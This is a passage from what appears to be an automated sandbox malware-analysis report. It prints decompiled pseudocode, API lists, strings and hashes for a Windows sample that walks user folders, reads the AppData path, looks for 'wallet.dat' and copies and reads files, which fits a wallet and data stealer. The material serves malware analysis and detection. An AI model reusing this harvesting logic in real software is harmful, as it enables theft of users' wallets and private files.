								_t117 =  *((intOrPtr*)( *0x40e13c))(_t116, _t132);
								_t160 = _a20;
								_v808 = _v808 & 0x00000000;
								_v812 = _t117;
								 *_t160 =  *_a20 + 1;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t185 = _v832;
								_t194 = _v828;
								goto L16;
							}
							LocalFree(_t194);
							LocalFree(_v828);
							LocalFree(_v844);
							LocalFree(_t132);
							LocalFree(_t185);
							CloseHandle(_v824);
							DeleteFileW(_t132);
							goto L14;
						}
					}
					if(_v576 != 0x2e && E0040A70E( &_v576, _a8) != 0 && E0040A70E( &_v576, _a12) == 0) {
						_t78 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
						_t192 =  *((intOrPtr*)( *0x40e000))(_t78, _a4,  &_v584);
						E0040B177(_v692, _t183, _t192, _a8, _a12, _a16, _a20);
						_t198 = _t198 + 0x14;
						LocalFree(_t192);
						_t190 = _v692;
					}
					L19:
					_push( &_v620);
					_push(_t130);
				} while ( *((intOrPtr*)( *0x40e148))() != 0);
				LocalFree(_v648);
				FindClose(_t130);
				goto L21;
			}

APIs

GetFileSize.KERNEL32(00000000,00000000), ref: 0040B30E
LocalFree.KERNEL32(00000000), ref: 0040B3ED
LocalFree.KERNEL32(?), ref: 0040B3F8
LocalFree.KERNEL32(?), ref: 0040B402
LocalFree.KERNEL32(?), ref: 0040B409
LocalFree.KERNEL32(00000000), ref: 0040B410
CloseHandle.KERNEL32(?), ref: 0040B41B
DeleteFileW.KERNEL32(?), ref: 0040B422
LocalFree.KERNEL32(?), ref: 0040B483
LocalFree.KERNEL32(00000000), ref: 0040B48A
LocalFree.KERNEL32(?), ref: 0040B494
LocalFree.KERNEL32(00000000), ref: 0040B49B
LocalFree.KERNEL32(?), ref: 0040B4A4
LocalFree.KERNEL32(00000000), ref: 0040B4AB
DeleteFileW.KERNEL32(?), ref: 0040B4B2
LocalFree.KERNEL32(?), ref: 0040B4D9
FindClose.KERNEL32(00000000), ref: 0040B4E0

Part of subcall function 0040A70E: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A741
Part of subcall function 0040A70E: LocalFree.KERNEL32(?), ref: 0040A7C2

Part of subcall function 0040B177: LocalFree.KERNEL32(00000000), ref: 0040B25D

Strings

pXqt, xrefs: 0040B25D, 0040B3ED, 0040B3F8, 0040B402, 0040B409, 0040B410, 0040B483, 0040B48A, 0040B494, 0040B49B, 0040B4A4, 0040B4AB, 0040B4D9
., xrefs: 0040B1EC

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Local$Free$File$CloseDelete$AllocFindHandleSize
String ID: .$pXqt
API String ID: 3415656112-3506007591
Opcode ID: ef89599a16f3060e6f46494271e3fa6c667b3084db2f4bc1dda9137fff215fc9
Instruction ID: d7038f412777c1620d74c121b4857271da971a97c01f51cff95b18f8f793f09e
Opcode Fuzzy Hash: ef89599a16f3060e6f46494271e3fa6c667b3084db2f4bc1dda9137fff215fc9
Instruction Fuzzy Hash: A5A1B171204301AFD704DF62DD88E6B77A9EF88704F004D29FA55A72A1DB74ED10CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE06 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 0040AE4E
LocalFree.KERNEL32(00000000), ref: 0040AEA9
LocalFree.KERNEL32(00000000), ref: 0040AEB0

Strings

pXqt, xrefs: 0040AEA9, 0040AEB0, 0040B0FB, 0040B10E, 0040B118, 0040B129, 0040B132, 0040B13B, 0040B159, 0040B162
wallet.dat, xrefs: 0040AF43

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$FolderPathSpecial
String ID: pXqt$wallet.dat
API String ID: 1941890384-1472199560
Opcode ID: cc52245ba0c1cf8e38b16e73aee8d7de3582cbf4d55e3452c4d46f73041d1e99
Instruction ID: c428bda3d7e2fbc090b10557d15fab42b18105d23257a4f21a5ceef78d5d1267
Opcode Fuzzy Hash: cc52245ba0c1cf8e38b16e73aee8d7de3582cbf4d55e3452c4d46f73041d1e99
Instruction Fuzzy Hash: 4BA1B471A00215AFDB14DBA6DD89FAF77B5EB48310F004429F615BB2D0DBB89D10CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403C8F Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 255
memoryCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00403C8F(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a12) {
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v36;
				void* _v40;
				void* _v44;
				intOrPtr _v48;
				char _v596;
				signed int _v640;
				void* _t60;
				void* _t62;
				void* _t63;
				void* _t66;
				void* _t70;
				signed int _t77;
				signed int _t86;
				signed int _t91;
				void* _t93;
				void* _t94;
				void* _t96;
				void* _t97;
				signed int _t101;
				signed int _t103;
				void* _t105;
				void* _t107;
				void* _t109;
				void* _t111;
				signed int _t123;
				void* _t124;
				void* _t125;
				void* _t127;
				signed int _t160;
				intOrPtr _t173;
				void* _t181;
				void* _t186;
				signed int _t189;
				void* _t191;
				void* _t192;
				void* _t193;
				void* _t194;

				_v36 = __edx;
				_v28 = __ecx;
				_t60 =  *((intOrPtr*)( *0x40e18c))(__ecx,  *0x40e1a8);
				while(1) {
					_t124 = _t60;
					if(_t124 == 0) {
						break;
					}
					_t125 = _t124 + 8;
					_t62 =  *((intOrPtr*)( *0x40e18c))(_t125,  *0x40e1f0);
					_t3 = _t62 + 2; // 0x2
					_t63 =  *((intOrPtr*)( *0x40e18c))(_t3,  *0x40e1e8);
					_v24 = _t63;
					_t66 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t64);
					_v12 = _t66;
					_t70 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t68);
					_v16 = _t70;
					_t186 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t71);
					_v20 = _t186;
					_v32 = _v24 - _t125 >> 1;
					_t77 = E0040A3E4(_t125,  &_v12, _t3 - _t125 >> 1, _v24 - _t125 >> 1);
					__eflags = _t77;
					if(_t77 == 0) {
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_t186);
						L16:
						L17:
						return 1;
					}
					_t181 =  *((intOrPtr*)( *0x40e18c))(_v24 + 2,  *0x40e1e8);
					_t189 = _t181 - _t125 >> 1;
					_t86 = E0040A3E4(_t125,  &_v16, _v32 + 1, _t189);
					__eflags = _t86;
					if(_t86 == 0) {
						L14:
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						goto L16;
					}
					_t17 = _t181 + 2; // 0x2
					_v48 =  *((intOrPtr*)( *0x40e18c))(_t17,  *0x40e228);
					_t20 = _t189 + 1; // 0x1
					_t91 = E0040A3E4(_t125,  &_v20, _t20, _t90 - _t125 >> 1);
					__eflags = _t91;
					if(_t91 == 0) {
						goto L14;
					}
					_t93 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
					_t94 =  *((intOrPtr*)( *0x40e000))(_t93, _a12, _v20);
					_v24 = _t94;
					_t96 = E0040A503( *((intOrPtr*)( *0x40e044))(0x40, 0x208), _t94);
					_t173 =  *0x40e1d0; // 0x837968
					_t97 = E0040A503(_t96, _t173);
					_v44 = _t97;
					_t127 =  *((intOrPtr*)( *0x40e018))(_t97,  &_v640);
					_v40 = _t127;
					__eflags = _t127 - 0xffffffff;
					if(_t127 == 0xffffffff) {
						return 0;
					} else {
						goto L5;
					}
					do {
						L5:
						__eflags = _v640 & 0x00000010;
						if((_v640 & 0x00000010) != 0) {
							__eflags = _v596 - 0x2e;
							if(_v596 != 0x2e) {
								_t103 =  *((intOrPtr*)( *0x40e18c))( &_v596, _v12);
								__eflags = _t103;
								if(_t103 != 0) {
									_t105 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
									_t191 =  *((intOrPtr*)( *0x40e13c))(_t105, _a12);
									_v32 = _t191;
									_t107 =  *((intOrPtr*)( *0x40e0e0))(_t191, 0, 0x5c);
									_t35 = _t107 + 2; // 0x2
									_t160 = _t35 - _t191;
									__eflags = _t160;
									 *((short*)(_t191 + (_t160 >> 1) * 2 - 0x16)) = 0;
									_t109 =  *((intOrPtr*)( *0x40e0e0))(_t191, 0, 0x5c);
									_t39 = _t109 + 2; // 0x2
									 *((intOrPtr*)( *0x40e044))(0x40, 0x208);
									_t192 = _v24;
									_t111 = E0040A503(0, _t192);
									_t193 =  *((intOrPtr*)( *0x40e000))(_t111, _t192,  &_v596);
									E004039D7(_t193, _v16, __eflags, _t39, _t35, _v36, _a4);
									_t194 = _t194 + 0x10;
									LocalFree(_t193);
									LocalFree(_v32);
									_t127 = _v40;
								}
							}
						}
						_t101 =  *((intOrPtr*)( *0x40e148))(_t127,  &_v640);
						__eflags = _t101;
					} while (_t101 != 0);
					FindClose(_t127);
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					LocalFree(_v44);
					_t123 = _v48 + 2;
					__eflags = _t123;
					_t60 =  *((intOrPtr*)( *0x40e18c))(_t123,  *0x40e1a8);
				}
				goto L17;
			}

0x00403ca6
0x00403caa
0x00403cad
0x00403f55
0x00403f55
0x00403f59
0x00000000
0x00000000
0x00403cbf
0x00403cc3
0x00403cd1
0x00403cd5
0x00403ce6
0x00403cf0
0x00403cfb
0x00403d0a
0x00403d1b
0x00403d27
0x00403d3b
0x00403d3e
0x00403d41
0x00403d48
0x00403d4a
0x00403f7f
0x00403f88
0x00403f8f
0x00403f8f
0x00403f95
0x00000000
0x00403f97
0x00403d6b
0x00403d71
0x00403d78
0x00403d7f
0x00403d81
0x00403f65
0x00403f68
0x00403f71
0x00403f8f
0x00000000
0x00403f8f
0x00403d93
0x00403d9b
0x00403da6
0x00403dac
0x00403db3
0x00403db5
0x00000000
0x00000000
0x00403dc8
0x00403dd7
0x00403de4
0x00403ded
0x00403df2
0x00403dfa
0x00403e0d
0x00403e12
0x00403e14
0x00403e17
0x00403e1a
0x00000000
0x00000000
0x00000000
0x00000000
0x00403e20
0x00403e20
0x00403e20
0x00403e27
0x00403e2d
0x00403e35
0x00403e4a
0x00403e4c
0x00403e4e
0x00403e60
0x00403e74
0x00403e7b
0x00403e7e
0x00403e82
0x00403e89
0x00403e89
0x00403e8f
0x00403e9a
0x00403ea9
0x00403eac
0x00403eae
0x00403eb5
0x00403ed1
0x00403eda
0x00403edf
0x00403ee3
0x00403eec
0x00403ef2
0x00403ef2
0x00403e4e
0x00403e35
0x00403f02
0x00403f04
0x00403f04
0x00403f0d
0x00403f16
0x00403f1f
0x00403f28
0x00403f31
0x00403f3a
0x00403f4f
0x00403f4f
0x00403f53
0x00403f53
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 00403CF0
LocalAlloc.KERNEL32(00000040,00000000), ref: 00403D0A
LocalAlloc.KERNEL32(00000040,00000000), ref: 00403D25

Strings

pXqt, xrefs: 00403EE3, 00403EEC, 00403F16, 00403F1F, 00403F28, 00403F31, 00403F3A, 00403F68, 00403F71, 00403F7F, 00403F88, 00403F8F

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: pXqt
API String ID: 3494564517-1234763034
Opcode ID: 8a6da0735ee3c45563ce6ef7da6886ff2a780dc9bc9fef783d63b4fc9ada9af1
Instruction ID: 30a2a756aa81b8726d571d7f3e9c3124e2b02b732ad4ca54e9afcb5ed5404845
Opcode Fuzzy Hash: 8a6da0735ee3c45563ce6ef7da6886ff2a780dc9bc9fef783d63b4fc9ada9af1
Instruction Fuzzy Hash: CC91B571A00215AFDF089FA5DD49DAE7BB9EB48310F004839F905B73A0DB746D21CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004039D7 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 223
fileCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E004039D7(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v32;
				void* _v36;
				intOrPtr _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v52;
				void* _v56;
				char _v608;
				signed char _v652;
				void* _t47;
				void* _t50;
				void* _t57;
				void* _t60;
				void* _t68;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t74;
				void* _t76;
				void* _t78;
				void* _t80;
				intOrPtr _t81;
				intOrPtr _t84;
				intOrPtr _t98;
				intOrPtr _t101;
				void* _t102;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				intOrPtr _t139;
				void* _t143;
				DWORD* _t144;
				void* _t145;
				void* _t149;

				_t101 = __ecx;
				_v24 = __edx;
				_v40 = __ecx;
				_t47 = E0040A503( *((intOrPtr*)( *0x40e044))(0x40, 0x208), __ecx);
				_t129 =  *0x40e1d0; // 0x837968
				_t143 = E0040A503(_t47, _t129);
				_v20 = _t143;
				_t50 =  *((intOrPtr*)( *0x40e018))(_t143,  &_v652);
				_v16 = _t50;
				if(_t50 != 0xffffffff) {
					_t144 = 0;
					do {
						if((_v652 & 0x00000010) != 0) {
							goto L11;
						} else {
							_push(L"..");
							_push( &_v608);
							if( *((intOrPtr*)( *0x40e0a0))() == 0) {
								goto L11;
							} else {
								_t57 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t149 =  *((intOrPtr*)( *0x40e000))(_t57, _t101,  &_v608);
								_v36 = _t149;
								_v8 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t60 = E0040A69E( *0x40e044,  &_v8);
								_t102 = _v8;
								if(_t60 == 0) {
									L16:
									LocalFree(_t102);
									LocalFree(_t149);
									DeleteFileW(_t102);
								} else {
									_push(_t144);
									_push(_t102);
									_push(_t149);
									if( *((intOrPtr*)( *0x40e184))() == 0) {
										goto L16;
									} else {
										_t68 =  *((intOrPtr*)( *0x40e03c))(_t102, 0x80000000, 1, _t144, 4, _t144, _t144);
										_v32 = _t68;
										GetFileSize(_t68, _t144);
										_t70 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
										_t71 =  *((intOrPtr*)( *0x40e13c))(_t70,  *0x40e1b8);
										_t132 =  *0x40e1b4; // 0x80f430
										_t72 = E0040A503(_t71, _t132);
										_t133 =  *0x40e1b8; // 0x837b68
										_t74 = E0040A503(E0040A503(_t72, _t133), _v24);
										_t135 =  *0x40e1ec; // 0x837a88
										_t76 = E0040A503(E0040A503(_t74, _t135), _a4);
										_t137 =  *0x40e1ec; // 0x837a88
										_t78 = E0040A503(E0040A503(_t76, _t137), _a8);
										_t139 =  *0x40e1b8; // 0x837b68
										_t80 = E0040A503(E0040A503(_t78, _t139),  &_v608);
										_v12 = _t80;
										_t81 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, _t144, _t80, 0xffffffff, _t144, _t144, _t144, _t144);
										_v28 = _t81;
										_t22 = _t81 + 0x40; // 0x40
										_t145 =  *((intOrPtr*)( *0x40e044))(0x40, _t22);
										_v8 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
										_t84 = _v28;
										if(_t84 == 0) {
											LocalFree(_t145);
											LocalFree(_v8);
											goto L10;
										} else {
											_push(0);
											_push(0);
											_push(_t84);
											_push(_t145);
											_push(0xffffffff);
											_push(_v12);
											_push(0);
											_push(0xfde9);
											if( *((intOrPtr*)( *0x40e0e4))() == 0) {
												LocalFree(_v12);
												LocalFree(_t145);
												LocalFree(_t102);
												LocalFree(_t149);
												LocalFree(_v8);
												break;
											} else {
												_v52 = _v32;
												_v56 = _t145;
												_t98 =  *((intOrPtr*)( *0x40e13c))(_v8, _t102);
												_t126 = _a16;
												_v44 = _v44 & 0x00000000;
												_v48 = _t98;
												 *_t126 =  *_a16 + 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t149 = _v36;
												L10:
												LocalFree(_t102);
												LocalFree(_t149);
												_t101 = _v40;
												_t144 = 0;
												goto L11;
											}
										}
									}
								}
							}
						}
						L13:
						LocalFree(_v20);
						goto L14;
						L11:
						_push( &_v652);
						_push(_v16);
					} while ( *((intOrPtr*)( *0x40e148))() != 0);
					FindClose(_v16);
					goto L13;
				}
				L14:
				return 0;
			}

APIs

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

GetFileSize.KERNEL32(00000000,00000000), ref: 00403ACE
LocalFree.KERNEL32(00000000), ref: 00403BFB
LocalFree.KERNEL32(?), ref: 00403C04
LocalFree.KERNEL32(?), ref: 00403C0B
LocalFree.KERNEL32(00000000), ref: 00403C12
FindClose.KERNEL32(00000002), ref: 00403C39
LocalFree.KERNEL32(00000002), ref: 00403C42
LocalFree.KERNEL32(?), ref: 00403C52
LocalFree.KERNEL32(00000000), ref: 00403C59
LocalFree.KERNEL32(?), ref: 00403C60
LocalFree.KERNEL32(00000000), ref: 00403C67
LocalFree.KERNEL32(?), ref: 00403C70
LocalFree.KERNEL32(?), ref: 00403C79
LocalFree.KERNEL32(00000000), ref: 00403C80
DeleteFileW.KERNEL32(?), ref: 00403C87

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

Strings

pXqt, xrefs: 00403BFB, 00403C04, 00403C0B, 00403C12, 00403C42, 00403C52, 00403C59, 00403C60, 00403C67, 00403C70, 00403C79, 00403C80

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$Local$Filelstrlen$CloseDeleteFindGlobalSize
String ID: pXqt
API String ID: 1958670688-1234763034
Opcode ID: 4caac0c3561e47fa950a7463700a638e5ac742770fbd87cb7ad0bc69e4988ff5
Instruction ID: a054592f1a26ae81db5b8b4afeeb8fb0c3e9f03fa1f4561a45be05a4ad2e9d15
Opcode Fuzzy Hash: 4caac0c3561e47fa950a7463700a638e5ac742770fbd87cb7ad0bc69e4988ff5
Instruction Fuzzy Hash: 64718571A00214AFDB04DFB2DD49EAE77B9EB84310F104939F515B7290DB749D11CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004052DA Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 232
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E004052DA(void* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20) {
				char _v576;
				char _v584;
				char _v616;
				signed char _v620;
				intOrPtr _v628;
				void* _v632;
				void* _v648;
				intOrPtr _v672;
				char _v676;
				intOrPtr _v696;
				void* _v704;
				intOrPtr _v708;
				void* _v712;
				void* _v720;
				void* _v724;
				void* _v728;
				char _v744;
				intOrPtr _v756;
				intOrPtr _v768;
				void* _v776;
				intOrPtr _v784;
				signed int _v792;
				void* _v796;
				void* _v800;
				void* _v804;
				intOrPtr _v808;
				void* _v812;
				void* _v828;
				void* _v836;
				void* __ebx;
				void* __esi;
				void* _t62;
				void* _t68;
				char _t69;
				void* _t70;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int _t74;
				void* _t76;
				void* _t86;
				void* _t112;
				void* _t113;
				void* _t114;
				intOrPtr _t151;
				void* _t153;
				void* _t154;
				void* _t159;
				void* _t161;
				void* _t163;
				void* _t164;
				signed int _t166;
				void* _t168;

				_t168 = (_t166 & 0xfffffff8) - 0x284;
				_v628 = __edx;
				_t62 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a, _t153, _t159, _t112);
				_t113 =  *((intOrPtr*)( *0x40e13c))(_t62, __ecx);
				_v632 = _t113;
				E0040188C(_t113, _t113, 0x104, __ecx,  *0x40e1d0);
				_t154 =  *((intOrPtr*)( *0x40e018))(_t113,  &_v616);
				_v648 = _t154;
				if(_t154 != 0xffffffff) {
					_t114 = __ecx;
					do {
						if((_v620 & 0x00000010) == 0) {
							_t68 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
							_t69 =  *((intOrPtr*)( *0x40e000))(_t68, _t114,  &_v584);
							_v676 = _t69;
							_t70 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
							_t72 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t70,  *0x40e1b8), _a4);
							_v708 = _t72;
							_t73 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
							_v708 = _t73;
							_t74 =  *((intOrPtr*)( *0x40e08c))(0);
							_t161 = _v704;
							if(E0040A2AA(_t161 + _t74 * 2,  &_v712, _v696) != 0) {
								_t76 = E0040A503(_v720, _v712);
								_v720 = _t76;
								_v724 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
								if(E0040A69E( *0x40e044,  &_v724) != 0) {
									_t164 = _v724;
									_push(0);
									_push(_t164);
									_push(_v712);
									if( *((intOrPtr*)( *0x40e184))() != 0) {
										_v756 =  *((intOrPtr*)( *0x40e03c))(_t164, 0x80000000, 1, 0, 4, 0, 0);
										 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v768, 0xffffffff, 0, 0, 0, 0);
										_v776 = 0;
										 *((intOrPtr*)( *0x40e044))(0x40, 0x30c);
										_t151 = _v784;
										_v804 = 0;
										if(_t151 != 0) {
											 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _v808, 0xffffffff, 0, _t151, 0, 0);
											if(0 == 0 || E0040A70E( &_v744, _a8) == 0) {
												LocalFree(_v836);
												CloseHandle(_v828);
												DeleteFileW(_t164);
												LocalFree(_t164);
											} else {
												_t139 = _a20;
												_v792 = _v792 & 0x00000000;
												_v804 = _v836;
												_v800 = _v828;
												_v796 = _t164;
												 *_t139 =  *_a20 + 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t154 = _v812;
											}
										}
									}
								}
								LocalFree(_v712);
							} else {
								LocalFree(_t161);
							}
							LocalFree(_v728);
							LocalFree(_v720);
							L18:
							goto L19;
						}
						if(_v576 != 0x2e && E0040A70E( &_v576, _a12) == 0) {
							_t86 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
							_t163 =  *((intOrPtr*)( *0x40e000))(_t86, _t114,  &_v584);
							E004052DA(_t163, _v672, _a4, _a8, _a12, _a16, _a20);
							_t168 = _t168 + 0x14;
							LocalFree(_t163);
							goto L18;
						}
						L19:
						_push( &_v676);
						_push(_t154);
					} while ( *((intOrPtr*)( *0x40e148))() != 0);
					LocalFree(_v704);
					FindClose(_t154);
					goto L21;
				} else {
					LocalFree(_t113);
					L21:
					return 0;
				}
			}

0x004052e0
0x004052f5
0x004052fb
0x0040530d
0x00405316
0x0040531a
0x0040532d
0x0040532f
0x00405336
0x00405344
0x00405346
0x0040534b
0x004053bb
0x004053ca
0x004053d9
0x004053dd
0x004053f3
0x00405405
0x00405409
0x00405417
0x0040541b
0x0040541d
0x00405430
0x00405440
0x00405452
0x0040545c
0x00405467
0x0040546d
0x00405476
0x00405478
0x00405479
0x00405481
0x004054a3
0x004054b9
0x004054c8
0x004054cc
0x004054ce
0x004054d2
0x004054d8
0x004054f7
0x004054fb
0x00405549
0x00405554
0x0040555b
0x00405562
0x0040550d
0x0040550d
0x00405514
0x00405519
0x00405521
0x00405530
0x00405538
0x0040553a
0x0040553b
0x0040553c
0x0040553d
0x0040553e
0x0040553e
0x004054fb
0x004054d8
0x00405481
0x0040556c
0x00405432
0x0040556c
0x0040556c
0x00405576
0x00405580
0x00405580
0x00000000
0x00405580
0x00405353
0x00405379
0x00405391
0x004053a1
0x004053a6
0x00405580
0x00000000
0x00405580
0x00405586
0x0040558f
0x00405590
0x00405593
0x004055a0
0x004055a7
0x00000000
0x00405338
0x00405339
0x004055ad
0x004055b5
0x004055b5

APIs

LocalFree.KERNEL32(00000000), ref: 00405339
LocalFree.KERNEL32(?), ref: 00405580
LocalFree.KERNEL32(?), ref: 004055A0
FindClose.KERNEL32(00000000), ref: 004055A7

Strings

pXqt, xrefs: 00405339, 00405549, 00405562, 0040556C, 00405576, 00405580, 004055A0
., xrefs: 0040534D

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseFind
String ID: .$pXqt
API String ID: 3269183270-3506007591
Opcode ID: 85117cb3117e62e14ba48f75263d130d3e59801c8bcbb9a650a8682f5d93ebc2
Instruction ID: 9add6ecd6c2ae3d530fb5184dfeb79ca83270308c151c7c4913ae962937730f4
Opcode Fuzzy Hash: 85117cb3117e62e14ba48f75263d130d3e59801c8bcbb9a650a8682f5d93ebc2
Instruction Fuzzy Hash: 9C816CB1604301AFDB04DF61DD45E2B77A5EB88714F004D2DFA55A72E0DBB4E910CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401B05 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401BA9
LocalFree.KERNEL32(00000000), ref: 00401C0D
FindClose.KERNEL32(00000000), ref: 00401C7A

Strings

pXqt, xrefs: 00401C0D
8{@, xrefs: 00401C53, 00401BF5

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CloseCombineFindFreeLocalPath
String ID: 8{@$pXqt
API String ID: 2857355001-2392896222
Opcode ID: feaf2723ab089db3c6e73f9a78e146223a76f71caf34b501c7023f33917ed91e
Instruction ID: e4eb25170f48de3e52739dcc6529c8d0564bd3351774df583b1370a22c53c5e7
Opcode Fuzzy Hash: feaf2723ab089db3c6e73f9a78e146223a76f71caf34b501c7023f33917ed91e
Instruction Fuzzy Hash: 6741E871900214ABDB149B61DEC8FAA7778EB85300F004579F905B72A0EB79DE55CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00409064 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00409064(void* __eflags, intOrPtr* _a4) {
				void* _t13;
				void* _t17;
				intOrPtr* _t19;

				_t13 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_t17 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				GetLocaleInfoW(GetUserDefaultLCID(), 0x1001, _t13, 0x104);
				wsprintfW(_t17,  *0x40e47c, _t13);
				_t19 = _a4;
				 *_t19 = E0040A503( *_t19, _t17);
				LocalFree(_t13);
				LocalFree(_t17);
				return 1;
			}

0x0040907e
0x0040908f
0x004090a3
0x004090ad
0x004090b3
0x004090c3
0x004090c5
0x004090cc
0x004090d9

APIs

GetUserDefaultLCID.KERNEL32(00001001,00000000,00000104,?,00409A50,00000000), ref: 0040909C
GetLocaleInfoW.KERNEL32(00000000,?,00409A50,00000000,?,?,?,?,?,?,?,?,?,?,?,00407B1E), ref: 004090A3
wsprintfW.USER32 ref: 004090AD

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B1E), ref: 004090C5
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B1E), ref: 004090CC

Strings

pXqt, xrefs: 004090C5, 004090CC

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

